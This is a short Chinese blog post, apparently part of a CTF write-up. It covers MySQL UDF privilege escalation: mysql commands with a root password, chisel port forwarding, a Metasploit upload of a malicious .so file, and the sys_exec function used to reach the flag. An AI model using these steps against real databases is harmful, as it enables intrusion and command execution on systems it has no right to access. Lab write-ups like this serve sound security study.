mysql -uroot -p456456zxc+123666 -D zengcms -e 'select user();'
mysql -uroot -p456456zxc+123666 -D zengcms -e 'select @@secure_file_priv;'
mysql -uroot -p456456zxc+123666 -D zengcms -e 'select @@plugin_dir;'

符合 udf 提权

WindowsTerminal_mJq7huHAEu

然后参考 https://www.sqlsec.com/udf/ 试了好久手动 SELECT INTO DUMPFILE 都不行。mysql 终端限制了长度,并且拼接还总是执行失败

WindowsTerminal_GuVHnOT2Ej

索性上传一个 chisel 将 3306 端口转发出来,直接借助 msf 上传恶意的 so 文件

WindowsTerminal_IT7H9Ps8Ld

然后回到 shell 上,就可以发现 so 文件上传成功了

select * from mysql.func where name = "sys_exec";

0 表示执行成功,1 表示失败

WindowsTerminal_d6rhKPy07w

最终 cat flag 即可

WindowsTerminal_cHLJ4844j2

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇